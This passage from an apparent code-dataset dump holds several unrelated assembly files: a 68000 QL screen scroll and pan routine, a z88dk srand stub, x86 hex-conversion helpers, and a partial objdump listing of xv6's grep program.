row\npmw_drlend\n\tdbra\td0,pmw_drloop\n\n\texg\td6,d7\t\tswap masks\n\tbsr.s\tpmw_sdedge\tdo edge\n\texg\td7,d6\n\npmw_dnlend\n\tsub.l\ta2,a4\t\tmove to previous row\n\tsub.l\ta3,a5\n\tdbra\td3,pmw_dnloop\tand carry on\n\tbra.l\tpmw_done\n\n; do edges for scroll down\n\npmw_sdedge\n\tmove.l\t-(a4),d1\tget RHS\n\tand.l\td7,d1\t\tmask edge\n\tmove.l\t-(a5),d0\tget old screen contents\n\tnot.l\td7\t\tinvert mask\n\tand.l\td7,d0\t\tmask edge\n\tnot.l\td7\n\tor.l\td0,d1\n\tmove.l\td1,(a5) \tset edge\n\trts\n\n\tpage\n\n; panning operation QL mode: pan by 1 to 7 pixels\n;\n;\td3\trow count-1\n;\td4\tbit shift (1 to 7)\n;\td5\tlong word count in row (-2)\n;\td6\tfirst edge mask (word)\n;\td7\tsecond edge mask (word)\n;\ta1\t+ or - 4 long word increment\n;\ta2\trow increment (source)\n;\ta3\trow increment (destination)\n;\ta4\tsource window address\n;\ta5\tdestination window address\n;\n;\npmw_pan\n\tcmp.w\td0,d4\t\tis shift greater than lh mask?\n\tble.s\tpmw_pmask\t... no\n\taddq.w\t#2,a4\t\tyes, move source pointer on\n\tbset\t#31,d4\t\tand set flag\n\npmw_pmask\n\tmoveq\t#-1,d6\t\tset lh mask\n\tlsr.w\td0,d6\n\n\tmoveq\t#-1,d7\t\tset rh mask\n\ttst.w\td2\n\tbeq.s\tpmw_pndir\t... full\n\tlsr.w\td2,d7\n\tnot.w\td7\n\npmw_pndir\n\tmove.w\td5,d1\t\tlength of line\n\tasl.w\t#2,d1\t\tin bytes\n\n\tcmp.l\ta4,a5\t\tleft or right\n\tbgt.s\tpmw_pnrt\tright\n\n\tsub.w\td1,a2\t\treduce increments\n\tsub.w\td1,a3\n\tmove.w\t#4,a1\t\tand go in increasing order\n\tbra.s\tpmw_pnsrow\n\n; pan right should be separate code\n\npmw_pnrt\n\tmove.w\ta2,d0\t\tfind end\n\tmulu\td3,d0\t\tstart of last row\n\tadd.l\td0,a4\n\tadd.w\td1,a4\t\tend of last row\n\tsubq.l\t#8,a4\t\t!!!!\n\n\tmove.w\ta3,d0\t\tditto for destination\n\tmulu\td3,d0\n\tadd.l\td0,a5\n\tadd.w\td1,a5\n\tsubq.l\t#4,a5\t\tlast in last row\n\n\tmove.w\td1,d0\n\tsub.w\ta2,d0\t\tadjust increments\n\tmove.w\td0,a2\n\tsub.w\ta3,d1\n\tmove.w\td1,a3\n\n\tmove.w\t#-4,a1\t\tand set go back\n\tbset\t#15,d4\t\tmark swap\n\n\texg\td6,d7\t\tmasks the other way\n\npmw_pnsrow\n\tsubq.w\t#2,d5\t\tdo masks overlap?\n\tbge.s\tpmw_pnloop\tno\n\tand.w\td7,d6\t\tyes\n\npmw_pnloop\n\ttst.w\td4\t\tleft to right?\n\tbpl.s\tpmw_pnlft\n;\tmovep.l 0(a4),d1\t\t get edge (green)\n\tmove.b\t(a4),d1\n\tlsl.l\t#8,d1\n\tmove.b\t2(a4),d1\n\tlsl.l\t#8,d1\n\tmove.b\t4(a4),d1\n\tlsl.l\t#8,d1\n\tmove.b\t6(a4),d1\n\n;\tmovep.l 1(a4),d2\t\t get edge (red)\n\tmove.b\t1(a4),d2\n\tlsl.l\t#8,d2\n\tmove.b\t3(a4),d2\n\tlsl.l\t#8,d2\n\tmove.b\t5(a4),d2\n\tlsl.l\t#8,d2\n\tmove.b\t7(a4),d2\n\n\tbra.s\tpmw_pnlsft\npmw_pnlft\n\ttst.l\td4\t\tvery left required?\n\tbpl.s\tpmw_leget\t... no\n\tmove.b\t-2(a4),d1\t(we've already added 2 to a4 so it's OK)\n\tswap\td1\t\tget very edge\n\tmove.b\t-1(a4),d2\n\tswap\td2\npmw_leget\n;\tmovep.w 0(a4),d1\t get edge (green)\n\tmove.b\t(a4),d1\n\tlsl.w\t#8,d1\n\tmove.b\t2(a4),d1\n;\tmovep.w 1(a4),d2\t\t get edge (red)\n\tmove.b\t1(a4),d2\n\tlsl.w\t#8,d2\n\tmove.b\t3(a4),d2\n\npmw_pnlsft\n\tror.l\td4,d1\n\tror.l\td4,d2\t\tshifted\n\tadd.l\ta1,a4\n\n\tand.w\td6,d1\t\tmask edges\n\tand.w\td6,d2\n;\tmovep.w 0(a5),d0\t\t get screen contents (green)\n\tmove.b\t(a5),d0\n\tlsl.w\t#8,d0\n\tmove.b\t2(a5),d0\n\n\tnot.w\td6\n\tand.w\td6,d0\t\tmasked\n\tor.w\td1,d0\t\tcombined\n;\tmovep.w d0,0(a5)\tand written\n\tmove.b\td0,2(a5)\n\tlsr.w\t#8,d0\n\tmove.b\td0,(a5)\n\n;\tmovep.w 1(a5),d0\t\t get screen contents (red)\n\tmove.b\t1(a5),d0\n\tlsl.w\t#8,d0\n\tmove.b\t3(a5),d0\n\tand.w\td6,d0\t\tmasked\n\tnot.w\td6\t\t\t\n\tor.w\td2,d0\t\tcombined\n;\tmovep.w d0,1(a5)\t\t and written\n\tmove.b\td0,3(a5)\n\tlsr.w\t#8,d0\n\tmove.b\td0,1(a5)\n\n\tadd.l\ta1,a5\n\tmove.w\td5,d0\t\tset number of long words to copy\n\tblt\tpmw_pnlend\tone edge only\n\tbra.s\tpmw_prlend\n\npmw_prloop\n;\tmovep.w 0(a4),d1\t\t get next (green)\n\tmove.b\t(a4),d1\n\tlsl.w\t#8,d1\n\tmove.b\t2(a4),d1\n\tror.l\td4,d1\t\tshifted\n;\tmovep.w 1(a4),d2\t\t get next (red)\n\tmove.b\t1(a4),d2\n\tlsl.w\t#8,d2\n\tmove.b\t3(a4),d2\n\n\tror.l\td4,d2\t\tshifted\n\ttst.w\td4\t\tright round?\n\tbpl.s\tpmw_prlinc\tno\n\tswap\td1\n\tswap\td2\npmw_prlinc\n\tadd.l\ta1,a4\n;\tmovep.w d1,0(a5)\n\tmove.b\td1,2(a5)\n\tlsr.w\t#8,d1\n\tmove.b\td1,(a5)\n\n;\tmovep.w d2,1(a5)\t\t and written\n\tmove.b\td2,3(a5)\n\tlsr.w\t#8,d2\n\tmove.b\td2,1(a5)\n\n\tadd.l\ta1,a5\npmw_prlend\n\trol.l\td4,d1\t\trestore upper word\n\trol.l\td4,d2\n\ttst.w\td4\t\tswap?\n\tbmi.s\tpmw_prldbra\n\tswap\td1\n\tswap\td2\npmw_prldbra\n\tdbra\td0,pmw_prloop\n\n;\tmovep.w 0(a4),d1\t\t get edge (green)\n\tmove.b\t(a4),d1\n\tlsl.w\t#8,d1\n\tmove.b\t2(a4),d1\n\n\tror.l\td4,d1\t\tshifted\n;\tmovep.w 1(a4),d2\tget edge (red)\n\tmove.b\t1(a4),d2\n\tlsl.w\t#8,d2\n\tmove.b\t3(a4),d2\n\n\tror.l\td4,d2\t\tshifted\n\ttst.w\td4\t\tswap?\n\tbpl.s\tpmw_pninc\t... no\n\tswap\td1\n\tswap\td2\n\npmw_pninc\n\tadd.l\ta1,a4\n\n\tand.w\td7,d1\t\tmask edges\n\tand.w\td7,d2\n;\tmovep.w 0(a5),d0\t\t get screen contents (green)\n\tmove.b\t(a5),d0\n\tlsl.w\t#8,d0\n\tmove.b\t2(a5),d0\n\n\tnot.w\td7\n\tand.w\td7,d0\t\tmasked\n\tor.w\td1,d0\t\tcombined\n;\tmovep.w d0,0(a5)\t\t ... and written\n\tmove.b\td0,2(a5)\n\tlsr.w\t#8,d0\n\tmove.b\td0,(a5)\n;\tmovep.w 1(a5),d0\t\t get screen contents (red)\n\tmove.b\t1(a5),d0\n\tlsl.w\t#8,d0\n\tmove.b\t3(a5),d0\n\n\tand.w\td7,d0\t\tmasked\n\tnot.w\td7\n\tor.w\td2,d0\t\tcombined\n;\tmovep.w d0,1(a5)\t\tand written\n\tmove.b\td0,3(a5)\n\tlsr.w\t#8,d0\n\tmove.b\td0,1(a5)\n\n\tadd.l\ta1,a5\npmw_pnlend\n\tadd.l\ta2,a4\t\tmove to next row\n\tadd.l\ta3,a5\n\tdbra\td3,pmw_pnloop\tand carry on\n\npmw_done\n\trts\n\n\tend\n","avg_line_length":18.2888402626,"max_line_length":58,"alphanum_fraction":0.6669059584} {"size":209,"ext":"asm","lang":"Assembly","max_stars_count":640.0,"content":"\n; void srand(unsigned int seed)\n\nSECTION code_clib\nSECTION code_stdlib\n\nPUBLIC srand\n\nEXTERN asm_srand\n\ndefc srand = asm_srand\n\n; SDCC bridge for Classic\nIF __CLASSIC\nPUBLIC _srand\ndefc _srand = srand \nENDIF\n","avg_line_length":11.6111111111,"max_line_length":31,"alphanum_fraction":0.7894736842} {"size":942,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"\n; IN = AL: Number to write\n; OUT = AL: As a character\nkernel_string_convert_1hex:\n and al, 0xF ; Mask out higher nibble\n\n push ax\n sub al, 0x9\n jng .number\n.notnumber: ; A-F\n pop ax\n ; ascii 41 = A\n sub al, 0xA\n\n add al, \"A\"\n jmp .done\n\n.number:\n pop ax\n add al, \"0\"\n\n.done:\n ret\n\n; IN = AL: Number to write\n; OUT = AX: As two characters\nkernel_string_convert_2hex:\n push edx\n\n push eax\n mov edx, 0\n\n call kernel_string_convert_1hex\n or dl, al\n\n pop eax\n shr eax, 4\n call kernel_string_convert_1hex\n shl edx, 8\n or dl, al\n mov eax, edx\n\n pop edx\n ret\n\n\n; IN = AX: Number to write\n; OUT = EAX: As four characters\nkernel_string_convert_4hex:\n push edx\n\n push eax\n mov edx, 0\n\n call kernel_string_convert_2hex\n or dx, ax\n\n pop eax\n shr eax, 8\n call kernel_string_convert_2hex\n shl edx, 16\n or dx, ax\n mov eax, edx\n\n pop edx\n ret\n\n","avg_line_length":13.8529411765,"max_line_length":40,"alphanum_fraction":0.6050955414} {"size":55157,"ext":"asm","lang":"Assembly","max_stars_count":null,"content":"\n_grep: file format elf32-i386\n\n\nDisassembly of section .text:\n\n00000000
:\n }\n}\n\nint\nmain(int argc, char *argv[])\n{\n 0:\t8d 4c 24 04 \tlea 0x4(%esp),%ecx\n 4:\t83 e4 f0 \tand $0xfffffff0,%esp\n 7:\tff 71 fc \tpushl -0x4(%ecx)\n a:\t55 \tpush %ebp\n b:\t89 e5 \tmov %esp,%ebp\n d:\t57 \tpush %edi\n e:\t56 \tpush %esi\n f:\t53 \tpush %ebx\n 10:\t51 \tpush %ecx\n 11:\t83 ec 18 \tsub $0x18,%esp\n 14:\t8b 39 \tmov (%ecx),%edi\n 16:\t8b 59 04 \tmov 0x4(%ecx),%ebx\n int fd, i;\n char *pattern;\n\n if(argc <= 1){\n 19:\t83 ff 01 \tcmp $0x1,%edi\n 1c:\t7e 7c \tjle 9a \n printf(2, \"usage: grep pattern [file ...]\\n\");\n exit();\n }\n pattern = argv[1];\n 1e:\t8b 43 04 \tmov 0x4(%ebx),%eax\n 21:\t83 c3 08 \tadd $0x8,%ebx\n\n if(argc <= 2){\n 24:\t83 ff 02 \tcmp $0x2,%edi\n grep(pattern, 0);\n exit();\n }\n\n for(i = 2; i < argc; i++){\n 27:\tbe 02 00 00 00 \tmov $0x2,%esi\n pattern = argv[1];\n 2c:\t89 45 e0 \tmov %eax,-0x20(%ebp)\n if(argc <= 2){\n 2f:\t74 46 \tje 77 \n 31:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n if((fd = open(argv[i], 0)) < 0){\n 38:\t83 ec 08 \tsub $0x8,%esp\n 3b:\t6a 00 \tpush $0x0\n 3d:\tff 33 \tpushl (%ebx)\n 3f:\te8 7e 05 00 00 \tcall 5c2 \n 44:\t83 c4 10 \tadd $0x10,%esp\n 47:\t85 c0 \ttest %eax,%eax\n 49:\t78 3b \tjs 86 \n printf(1, \"grep: cannot open %s\\n\", argv[i]);\n exit();\n }\n grep(pattern, fd);\n 4b:\t83 ec 08 \tsub $0x8,%esp\n 4e:\t89 45 e4 \tmov %eax,-0x1c(%ebp)\n for(i = 2; i < argc; i++){\n 51:\t83 c6 01 \tadd $0x1,%esi\n grep(pattern, fd);\n 54:\t50 \tpush %eax\n 55:\tff 75 e0 \tpushl -0x20(%ebp)\n 58:\t83 c3 04 \tadd $0x4,%ebx\n 5b:\te8 d0 01 00 00 \tcall 230 \n close(fd);\n 60:\t8b 45 e4 \tmov -0x1c(%ebp),%eax\n 63:\t89 04 24 \tmov %eax,(%esp)\n 66:\te8 3f 05 00 00 \tcall 5aa \n for(i = 2; i < argc; i++){\n 6b:\t83 c4 10 \tadd $0x10,%esp\n 6e:\t39 f7 \tcmp %esi,%edi\n 70:\t7f c6 \tjg 38 \n }\n exit();\n 72:\te8 0b 05 00 00 \tcall 582 \n grep(pattern, 0);\n 77:\t52 \tpush %edx\n 78:\t52 \tpush %edx\n 79:\t6a 00 \tpush $0x0\n 7b:\t50 \tpush %eax\n 7c:\te8 af 01 00 00 \tcall 230 \n exit();\n 81:\te8 fc 04 00 00 \tcall 582 \n printf(1, \"grep: cannot open %s\\n\", argv[i]);\n 86:\t50 \tpush %eax\n 87:\tff 33 \tpushl (%ebx)\n 89:\t68 68 0a 00 00 \tpush $0xa68\n 8e:\t6a 01 \tpush $0x1\n 90:\te8 5b 06 00 00 \tcall 6f0 \n exit();\n 95:\te8 e8 04 00 00 \tcall 582 \n printf(2, \"usage: grep pattern [file ...]\\n\");\n 9a:\t51 \tpush %ecx\n 9b:\t51 \tpush %ecx\n 9c:\t68 48 0a 00 00 \tpush $0xa48\n a1:\t6a 02 \tpush $0x2\n a3:\te8 48 06 00 00 \tcall 6f0 \n exit();\n a8:\te8 d5 04 00 00 \tcall 582 \n ad:\t66 90 \txchg %ax,%ax\n af:\t90 \tnop\n\n000000b0 :\n return 0;\n}\n\n\/\/ matchstar: search for c*re at beginning of text\nint matchstar(int c, char *re, char *text)\n{\n b0:\t55 \tpush %ebp\n b1:\t89 e5 \tmov %esp,%ebp\n b3:\t57 \tpush %edi\n b4:\t56 \tpush %esi\n b5:\t53 \tpush %ebx\n b6:\t83 ec 0c \tsub $0xc,%esp\n b9:\t8b 5d 08 \tmov 0x8(%ebp),%ebx\n bc:\t8b 75 0c \tmov 0xc(%ebp),%esi\n bf:\t8b 7d 10 \tmov 0x10(%ebp),%edi\n c2:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n do{ \/\/ a * matches zero or more instances\n if(matchhere(re, text))\n c8:\t83 ec 08 \tsub $0x8,%esp\n cb:\t57 \tpush %edi\n cc:\t56 \tpush %esi\n cd:\te8 3e 00 00 00 \tcall 110 \n d2:\t83 c4 10 \tadd $0x10,%esp\n d5:\t85 c0 \ttest %eax,%eax\n d7:\t75 1f \tjne f8 \n return 1;\n }while(*text!='\\0' && (*text++==c || c=='.'));\n d9:\t0f be 17 \tmovsbl (%edi),%edx\n dc:\t84 d2 \ttest %dl,%dl\n de:\t74 0c \tje ec \n e0:\t83 c7 01 \tadd $0x1,%edi\n e3:\t39 da \tcmp %ebx,%edx\n e5:\t74 e1 \tje c8 \n e7:\t83 fb 2e \tcmp $0x2e,%ebx\n ea:\t74 dc \tje c8 \n return 0;\n}\n ec:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n ef:\t5b \tpop %ebx\n f0:\t5e \tpop %esi\n f1:\t5f \tpop %edi\n f2:\t5d \tpop %ebp\n f3:\tc3 \tret \n f4:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n f8:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n return 1;\n fb:\tb8 01 00 00 00 \tmov $0x1,%eax\n}\n 100:\t5b \tpop %ebx\n 101:\t5e \tpop %esi\n 102:\t5f \tpop %edi\n 103:\t5d \tpop %ebp\n 104:\tc3 \tret \n 105:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n 109:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n\n00000110 :\n{\n 110:\t55 \tpush %ebp\n 111:\t89 e5 \tmov %esp,%ebp\n 113:\t57 \tpush %edi\n 114:\t56 \tpush %esi\n 115:\t53 \tpush %ebx\n 116:\t83 ec 0c \tsub $0xc,%esp\n if(re[0] == '\\0')\n 119:\t8b 45 08 \tmov 0x8(%ebp),%eax\n{\n 11c:\t8b 7d 0c \tmov 0xc(%ebp),%edi\n if(re[0] == '\\0')\n 11f:\t0f b6 08 \tmovzbl (%eax),%ecx\n 122:\t84 c9 \ttest %cl,%cl\n 124:\t74 67 \tje 18d \n if(re[1] == '*')\n 126:\t0f be 40 01 \tmovsbl 0x1(%eax),%eax\n 12a:\t3c 2a \tcmp $0x2a,%al\n 12c:\t74 6c \tje 19a \n if(re[0] == '$' && re[1] == '\\0')\n 12e:\t80 f9 24 \tcmp $0x24,%cl\n 131:\t0f b6 1f \tmovzbl (%edi),%ebx\n 134:\t75 08 \tjne 13e \n 136:\t84 c0 \ttest %al,%al\n 138:\t0f 84 81 00 00 00 \tje 1bf \n if(*text!='\\0' && (re[0]=='.' || re[0]==*text))\n 13e:\t84 db \ttest %bl,%bl\n 140:\t74 09 \tje 14b \n 142:\t38 d9 \tcmp %bl,%cl\n 144:\t74 3c \tje 182 \n 146:\t80 f9 2e \tcmp $0x2e,%cl\n 149:\t74 37 \tje 182 \n}\n 14b:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n return 0;\n 14e:\t31 c0 \txor %eax,%eax\n}\n 150:\t5b \tpop %ebx\n 151:\t5e \tpop %esi\n 152:\t5f \tpop %edi\n 153:\t5d \tpop %ebp\n 154:\tc3 \tret \n 155:\t8d 76 00 \tlea 0x0(%esi),%esi\n if(re[1] == '*')\n 158:\t8b 75 08 \tmov 0x8(%ebp),%esi\n 15b:\t0f b6 4e 01 \tmovzbl 0x1(%esi),%ecx\n 15f:\t80 f9 2a \tcmp $0x2a,%cl\n 162:\t74 3b \tje 19f \n if(re[0] == '$' && re[1] == '\\0')\n 164:\t3c 24 \tcmp $0x24,%al\n 166:\t75 04 \tjne 16c \n 168:\t84 c9 \ttest %cl,%cl\n 16a:\t74 4f \tje 1bb \n if(*text!='\\0' && (re[0]=='.' || re[0]==*text))\n 16c:\t0f b6 33 \tmovzbl (%ebx),%esi\n 16f:\t89 f2 \tmov %esi,%edx\n 171:\t84 d2 \ttest %dl,%dl\n 173:\t74 d6 \tje 14b \n 175:\t3c 2e \tcmp $0x2e,%al\n 177:\t89 df \tmov %ebx,%edi\n 179:\t74 04 \tje 17f \n 17b:\t38 c2 \tcmp %al,%dl\n 17d:\t75 cc \tjne 14b \n 17f:\t0f be c1 \tmovsbl %cl,%eax\n return matchhere(re+1, text+1);\n 182:\t83 45 08 01 \taddl $0x1,0x8(%ebp)\n if(re[0] == '\\0')\n 186:\t84 c0 \ttest %al,%al\n return matchhere(re+1, text+1);\n 188:\t8d 5f 01 \tlea 0x1(%edi),%ebx\n if(re[0] == '\\0')\n 18b:\t75 cb \tjne 158 \n return 1;\n 18d:\tb8 01 00 00 00 \tmov $0x1,%eax\n}\n 192:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n 195:\t5b \tpop %ebx\n 196:\t5e \tpop %esi\n 197:\t5f \tpop %edi\n 198:\t5d \tpop %ebp\n 199:\tc3 \tret \n if(re[1] == '*')\n 19a:\t89 fb \tmov %edi,%ebx\n 19c:\t0f be c1 \tmovsbl %cl,%eax\n return matchstar(re[0], re+2, text);\n 19f:\t8b 7d 08 \tmov 0x8(%ebp),%edi\n 1a2:\t83 ec 04 \tsub $0x4,%esp\n 1a5:\t53 \tpush %ebx\n 1a6:\t8d 57 02 \tlea 0x2(%edi),%edx\n 1a9:\t52 \tpush %edx\n 1aa:\t50 \tpush %eax\n 1ab:\te8 00 ff ff ff \tcall b0 \n 1b0:\t83 c4 10 \tadd $0x10,%esp\n}\n 1b3:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n 1b6:\t5b \tpop %ebx\n 1b7:\t5e \tpop %esi\n 1b8:\t5f \tpop %edi\n 1b9:\t5d \tpop %ebp\n 1ba:\tc3 \tret \n 1bb:\t0f b6 5f 01 \tmovzbl 0x1(%edi),%ebx\n return *text == '\\0';\n 1bf:\t31 c0 \txor %eax,%eax\n 1c1:\t84 db \ttest %bl,%bl\n 1c3:\t0f 94 c0 \tsete %al\n 1c6:\teb ca \tjmp 192 \n 1c8:\t90 \tnop\n 1c9:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n\n000001d0 :\n{\n 1d0:\t55 \tpush %ebp\n 1d1:\t89 e5 \tmov %esp,%ebp\n 1d3:\t56 \tpush %esi\n 1d4:\t53 \tpush %ebx\n 1d5:\t8b 75 08 \tmov 0x8(%ebp),%esi\n 1d8:\t8b 5d 0c \tmov 0xc(%ebp),%ebx\n if(re[0] == '^')\n 1db:\t80 3e 5e \tcmpb $0x5e,(%esi)\n 1de:\t75 11 \tjne 1f1 \n 1e0:\teb 2e \tjmp 210 \n 1e2:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n }while(*text++ != '\\0');\n 1e8:\t83 c3 01 \tadd $0x1,%ebx\n 1eb:\t80 7b ff 00 \tcmpb $0x0,-0x1(%ebx)\n 1ef:\t74 16 \tje 207 \n if(matchhere(re, text))\n 1f1:\t83 ec 08 \tsub $0x8,%esp\n 1f4:\t53 \tpush %ebx\n 1f5:\t56 \tpush %esi\n 1f6:\te8 15 ff ff ff \tcall 110 \n 1fb:\t83 c4 10 \tadd $0x10,%esp\n 1fe:\t85 c0 \ttest %eax,%eax\n 200:\t74 e6 \tje 1e8 \n return 1;\n 202:\tb8 01 00 00 00 \tmov $0x1,%eax\n}\n 207:\t8d 65 f8 \tlea -0x8(%ebp),%esp\n 20a:\t5b \tpop %ebx\n 20b:\t5e \tpop %esi\n 20c:\t5d \tpop %ebp\n 20d:\tc3 \tret \n 20e:\t66 90 \txchg %ax,%ax\n return matchhere(re+1, text);\n 210:\t83 c6 01 \tadd $0x1,%esi\n 213:\t89 75 08 \tmov %esi,0x8(%ebp)\n}\n 216:\t8d 65 f8 \tlea -0x8(%ebp),%esp\n 219:\t5b \tpop %ebx\n 21a:\t5e \tpop %esi\n 21b:\t5d \tpop %ebp\n return matchhere(re+1, text);\n 21c:\te9 ef fe ff ff \tjmp 110 \n 221:\teb 0d \tjmp 230 \n 223:\t90 \tnop\n 224:\t90 \tnop\n 225:\t90 \tnop\n 226:\t90 \tnop\n 227:\t90 \tnop\n 228:\t90 \tnop\n 229:\t90 \tnop\n 22a:\t90 \tnop\n 22b:\t90 \tnop\n 22c:\t90 \tnop\n 22d:\t90 \tnop\n 22e:\t90 \tnop\n 22f:\t90 \tnop\n\n00000230 :\n{\n 230:\t55 \tpush %ebp\n 231:\t89 e5 \tmov %esp,%ebp\n 233:\t57 \tpush %edi\n 234:\t56 \tpush %esi\n 235:\t53 \tpush %ebx\n m = 0;\n 236:\t31 f6 \txor %esi,%esi\n{\n 238:\t83 ec 1c \tsub $0x1c,%esp\n 23b:\t90 \tnop\n 23c:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){\n 240:\tb8 ff 03 00 00 \tmov $0x3ff,%eax\n 245:\t83 ec 04 \tsub $0x4,%esp\n 248:\t29 f0 \tsub %esi,%eax\n 24a:\t50 \tpush %eax\n 24b:\t8d 86 40 0e 00 00 \tlea 0xe40(%esi),%eax\n 251:\t50 \tpush %eax\n 252:\tff 75 0c \tpushl 0xc(%ebp)\n 255:\te8 40 03 00 00 \tcall 59a \n 25a:\t83 c4 10 \tadd $0x10,%esp\n 25d:\t85 c0 \ttest %eax,%eax\n 25f:\t0f 8e bb 00 00 00 \tjle 320 \n m += n;\n 265:\t01 c6 \tadd %eax,%esi\n p = buf;\n 267:\tbb 40 0e 00 00 \tmov $0xe40,%ebx\n buf[m] = '\\0';\n 26c:\tc6 86 40 0e 00 00 00 \tmovb $0x0,0xe40(%esi)\n 273:\t89 75 e4 \tmov %esi,-0x1c(%ebp)\n 276:\t8d 76 00 \tlea 0x0(%esi),%esi\n 279:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n while((q = strchr(p, '\\n')) != 0){\n 280:\t83 ec 08 \tsub $0x8,%esp\n 283:\t6a 0a \tpush $0xa\n 285:\t53 \tpush %ebx\n 286:\te8 75 01 00 00 \tcall 400 \n 28b:\t83 c4 10 \tadd $0x10,%esp\n 28e:\t85 c0 \ttest %eax,%eax\n 290:\t89 c6 \tmov %eax,%esi\n 292:\t74 44 \tje 2d8 \n if(match(pattern, p)){\n 294:\t83 ec 08 \tsub $0x8,%esp\n *q = 0;\n 297:\tc6 06 00 \tmovb $0x0,(%esi)\n 29a:\t8d 7e 01 \tlea 0x1(%esi),%edi\n if(match(pattern, p)){\n 29d:\t53 \tpush %ebx\n 29e:\tff 75 08 \tpushl 0x8(%ebp)\n 2a1:\te8 2a ff ff ff \tcall 1d0 \n 2a6:\t83 c4 10 \tadd $0x10,%esp\n 2a9:\t85 c0 \ttest %eax,%eax\n 2ab:\t75 0b \tjne 2b8 \n p = q+1;\n 2ad:\t89 fb \tmov %edi,%ebx\n 2af:\teb cf \tjmp 280 \n 2b1:\t8d b4 26 00 00 00 00 \tlea 0x0(%esi,%eiz,1),%esi\n write(1, p, q+1 - p);\n 2b8:\t89 f8 \tmov %edi,%eax\n 2ba:\t83 ec 04 \tsub $0x4,%esp\n *q = '\\n';\n 2bd:\tc6 06 0a \tmovb $0xa,(%esi)\n write(1, p, q+1 - p);\n 2c0:\t29 d8 \tsub %ebx,%eax\n 2c2:\t50 \tpush %eax\n 2c3:\t53 \tpush %ebx\n p = q+1;\n 2c4:\t89 fb \tmov %edi,%ebx\n write(1, p, q+1 - p);\n 2c6:\t6a 01 \tpush $0x1\n 2c8:\te8 d5 02 00 00 \tcall 5a2 \n 2cd:\t83 c4 10 \tadd $0x10,%esp\n 2d0:\teb ae \tjmp 280 \n 2d2:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n if(p == buf)\n 2d8:\t81 fb 40 0e 00 00 \tcmp $0xe40,%ebx\n 2de:\t8b 75 e4 \tmov -0x1c(%ebp),%esi\n 2e1:\t74 2d \tje 310 \n if(m > 0){\n 2e3:\t85 f6 \ttest %esi,%esi\n 2e5:\t0f 8e 55 ff ff ff \tjle 240 \n m -= p - buf;\n 2eb:\t89 d8 \tmov %ebx,%eax\n memmove(buf, p, m);\n 2ed:\t83 ec 04 \tsub $0x4,%esp\n m -= p - buf;\n 2f0:\t2d 40 0e 00 00 \tsub $0xe40,%eax\n 2f5:\t29 c6 \tsub %eax,%esi\n memmove(buf, p, m);\n 2f7:\t56 \tpush %esi\n 2f8:\t53 \tpush %ebx\n 2f9:\t68 40 0e 00 00 \tpush $0xe40\n 2fe:\te8 4d 02 00 00 \tcall 550 \n 303:\t83 c4 10 \tadd $0x10,%esp\n 306:\te9 35 ff ff ff \tjmp 240 \n 30b:\t90 \tnop\n 30c:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n m = 0;\n 310:\t31 f6 \txor %esi,%esi\n 312:\te9 29 ff ff ff \tjmp 240 \n 317:\t89 f6 \tmov %esi,%esi\n 319:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n}\n 320:\t8d 65 f4 \tlea -0xc(%ebp),%esp\n 323:\t5b \tpop %ebx\n 324:\t5e \tpop %esi\n 325:\t5f \tpop %edi\n 326:\t5d \tpop %ebp\n 327:\tc3 \tret \n 328:\t66 90 \txchg %ax,%ax\n 32a:\t66 90 \txchg %ax,%ax\n 32c:\t66 90 \txchg %ax,%ax\n 32e:\t66 90 \txchg %ax,%ax\n\n00000330 :\n#include \"user.h\"\n#include \"x86.h\"\n\nchar*\nstrcpy(char *s, const char *t)\n{\n 330:\t55 \tpush %ebp\n 331:\t89 e5 \tmov %esp,%ebp\n 333:\t53 \tpush %ebx\n 334:\t8b 45 08 \tmov 0x8(%ebp),%eax\n 337:\t8b 4d 0c \tmov 0xc(%ebp),%ecx\n char *os;\n\n os = s;\n while((*s++ = *t++) != 0)\n 33a:\t89 c2 \tmov %eax,%edx\n 33c:\t8d 74 26 00 \tlea 0x0(%esi,%eiz,1),%esi\n 340:\t83 c1 01 \tadd $0x1,%ecx\n 343:\t0f b6 59 ff \tmovzbl -0x1(%ecx),%ebx\n 347:\t83 c2 01 \tadd $0x1,%edx\n 34a:\t84 db \ttest %bl,%bl\n 34c:\t88 5a ff \tmov %bl,-0x1(%edx)\n 34f:\t75 ef \tjne 340 \n ;\n return os;\n}\n 351:\t5b \tpop %ebx\n 352:\t5d \tpop %ebp\n 353:\tc3 \tret \n 354:\t8d b6 00 00 00 00 \tlea 0x0(%esi),%esi\n 35a:\t8d bf 00 00 00 00 \tlea 0x0(%edi),%edi\n\n00000360 :\n\nint\nstrcmp(const char *p, const char *q)\n{\n 360:\t55 \tpush %ebp\n 361:\t89 e5 \tmov %esp,%ebp\n 363:\t53 \tpush %ebx\n 364:\t8b 55 08 \tmov 0x8(%ebp),%edx\n 367:\t8b 4d 0c \tmov 0xc(%ebp),%ecx\n while(*p && *p == *q)\n 36a:\t0f b6 02 \tmovzbl (%edx),%eax\n 36d:\t0f b6 19 \tmovzbl (%ecx),%ebx\n 370:\t84 c0 \ttest %al,%al\n 372:\t75 1c \tjne 390 \n 374:\teb 2a \tjmp 3a0 \n 376:\t8d 76 00 \tlea 0x0(%esi),%esi\n 379:\t8d bc 27 00 00 00 00 \tlea 0x0(%edi,%eiz,1),%edi\n p++, q++;\n 380:\t83 c2 01 \tadd $0x1,%edx\n while(*p && *p == *q)\n 383:\t0f b6 02 \tmovzbl (%edx),%eax\n p++, 